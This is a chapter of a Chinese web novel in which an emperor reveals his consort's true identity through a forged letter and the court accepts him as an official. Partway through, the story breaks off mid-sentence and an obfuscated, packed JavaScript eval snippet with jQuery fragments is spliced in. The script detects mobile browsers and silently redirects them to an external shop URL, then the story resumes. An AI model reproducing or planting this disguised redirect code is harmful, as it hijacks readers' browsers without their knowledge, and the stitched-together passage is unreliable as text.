关于为何收拾东西却又没走,越冬不说,赵乾也没问,而那日那个吻,像是并没有发生过一般,没人提起此事,两人之间仍旧如先前一般相处。
但两人之间的气氛却比过去两年都和谐许多,就像是……
就像是什么呢?
光球也不懂,但眼看宿主脸上时不时不自觉泛起的笑意,它便不再深究。
总归宿主自己心里有数就行。
【小七,你有没有觉得陛下有点不对劲?】越冬放下手中话本,思忖片刻后开口问趴着刷短剧的光球。【最近好像又忙碌起来了?】
光球懵懵地飘过来,被越冬抓着捏了两下放开:【陛下不是一直都挺忙的吗?】
越冬总感觉不对,他的直觉一向很准,就支使光球出去赵乾那边打探一下。
光球见宿主神情不似说笑,便也正色起来:【我马上去!】
一刻钟后,光球慌慌张张地飘进来,嘴里直呼:【宿主,不好了!】
越冬抬手接住光球:“怎么了?”
【宿主,大事不妙啊!】光球喘口气就开始告状:【陛下、陛下竟然公开了您的身份。】
【他、他肯定是想继续薅咱俩的劳动力!】
越冬嘴角微抽,但光球说的有道理,不过赵乾这样做应当不止是为此。
先前他中秘药,后续却一直未曾传出过丽嫔娘娘生子或是小产的消息,恐怕有一部分人便早有猜测。
又加上赵乾当日下令堵住太后的嘴时,分明太后所言只是无稽之谈,为何陛下却那般紧张?这不是摆明了告诉大家有问题么?
更何况,历朝与宫妃有染之人,无论消息真假,都不该被陛下如此轻轻放过,甚至还这般看重那位有疑点的“奸夫”才对。
如此种种,丽嫔娘娘实则是男子之身的消息,早已成为众人未曾宣之于口的共同隐秘。
越冬顶着林清宴壳子的时候,便有人隐晦来打探过,只是都被他一一挡去,光球不懂人类的这些弯弯绕绕,自然不会想到这里。
【公开便公开吧,总归大家都知道了。】越冬捧着话本,慢悠悠道:【难不成他还能将咱们又当成林清宴来使唤?】
光球见宿主这样不上心,它却不想继续当权臣系统,便将刚刚得到的最后一条重磅消息砸下:【可是,陛下他、他是公开了林阁老的旧信,才揭开您身份的呀!】
“啪嗒。”越冬手中的话本砸在地上。
他佯装怒意上头,拍桌站起:“好啊,玄真这混蛋还真就可着我一只狐狸薅啊,我这就找他去!”
【就是就是,咱是来做分手任务的,谁要干权臣那活儿!】系统非常支持,没看到越冬微微上扬的嘴角。
“九九这是要去找谁?”低沉带笑的男声响起,光球刚刚挺直的腰杆一下子软了,“啪”地一下掉进了软垫里。
赵乾朝那处莫名塌陷的软垫撇了一眼,光球被他的目光看得瑟瑟发抖,虽然知道赵乾应该看不到它,可是——
呜呜呜宿主您家陛下怎么这么吓人啊!
它飞快躲到越冬身后,欻地一下往外飞走了。
越冬见正主来了,正要义正言辞地质问他,却被对方执起方才拍桌子的那只爪子,翻过来揉了揉微红的掌心,眼神带着不赞同道:“这般不知爱惜自己的身体?”
越冬被捏着掌心,刚刚那口气一下子就散了,但他没忘了小七说的事,好奇道:
“你哪弄来的‘表哥’的亲笔信,还整这么一出揭露身份的戏码?”
赵乾低头微微一笑,手中却顺势将他的手包在掌心,越冬没注意到他的动作,或者说注意到了却没在意,只盯着他的脸,等他说答案。
“九九不愿公开身份,可我却不能就这般让九九一直背负着流言蜚语。”
赵乾的声音轻缓,透露出来的意思却不容更改:“他们应当知晓,有那般才能的,一直都是九九才对。”
"可是……"越冬迟疑道。
他当初借用的林清宴的身份,理应该还他一份尊荣,陛下这般……
赵乾知道他的顾虑,只道:“九九放心,朕知晓这般说会引发质疑,只以林阁老的口吻,写了一份隐晦心疼幼弟才能不得展露的秘信。”
越冬侧目,还可以这样?
“这,会有人信?”
他并没有写过这劳什子秘信,陛下怎么也不提前与他商量一下,这种伪造的字迹不会露馅吗?
不对,不是他写的,那……
他抬眼看向赵乾,赵乾却垂眸并未看他,低声道:
“许大人的嫡子有这般才能,就这般死了有些可惜,死前拿来废物利用一下罢了。”
越冬:哇塞,陛下什么时候开始计划的?
许砚都死了一年多了。
他半点没怀疑陛下的其他用心,比如说想借此换一种方式来留下他。
“陛下想让我继续回去上班?哦不对,当差?”越冬偏头看他:“陛下若是想,直接与我说便是,万一我考虑一下就答应了呢?”
“不过孙大人他们真的不会吓一跳吗?”他指了指自己身上的宫装:“跟陛下的后宫妃嫔共事。”
赵乾见他这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798526|210566||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说,便知对方并不怪他自作主张,心底一直悬着的那口气才彻底松了下来。
对于越冬的担忧,他只道:“交给朕便可。”
越冬便点点头,不再多言,转而与他谈起了方才话本中看到的有意思的剧情。
于是第二日上朝时,越冬与赵乾一同出现后又站在原先做林清宴时站的位置时,除了时不时隐晦打量他的目光,竟无一人对他的行为提出质疑。
他不由感叹,这样妥帖的安排简直熟悉得不能再熟悉了,跟在玄真身边时他便是如此,玄真似乎总有一种能将所有事都安排得极为妥当、不会出错的能力。
他之前怎么就这么眼拙,半点都没看出来呢?
他似乎忘了,先前那些只是某位帝王为了麻痹摄政王一众叛党做出的假象。
而更多的暗处的准备,赵乾在他不打算离开时便已完全舍弃,根本不会让他看见丝毫端倪。
而此刻,这些在两年时间里逐渐认识到帝王手腕的众位大臣,又怎么可能敢对此提出异议?
而无论是古代还是现代职场,敢无故对领导老婆出言不逊的,还真没几个。
更何况是这等级森严、皇权至上,君主掌握着他们身家性命的时代呢?
是以即便赵乾不提,这些人也不敢为难越冬。
更何况那一套谏臣的戏码已在昨日便上演完了,君王达成了他的目的,臣子也保住了他们的名声,何必在今日给陛下找不痛快?
至于丽嫔娘娘是否真如林阁老所言,更甚于他,那便日后再看便是。
若只是为其造势,那届时不需他们多言,民间自有源源不断的“正义之士”来讨伐“妖妃”。
他们何必要去当那出头的椽子?
更何况……
有人想到诸位同僚在林清宴身上栽过的一个个坑,早到被迫觍着脸去讨要回自己写好的折子,还有工部那群现在十分推崇林阁老的犟种,起初也是排挤人家,却不得不寻求对方提点。
那位吴大人更是唯林大人马首是瞻,昨日朝会上也是第一个站出来,支持丽嫔娘娘上朝参政的。
还有后来那一件件功绩,其中也葬送了不少同僚的性命和脸面呐。
这、这谁还敢惹这表兄弟俩?
就不怕这位林阁老口中“幼弟更甚于吾”的甘大人比林阁老还邪性?
不、应该是必然会比他还要邪性!
毕竟这位还有一重身份——陛下的枕边人。
就不怕这位一个不爽,给陛下吹个枕边风吗?
一时间,君臣关系竟是异常和谐。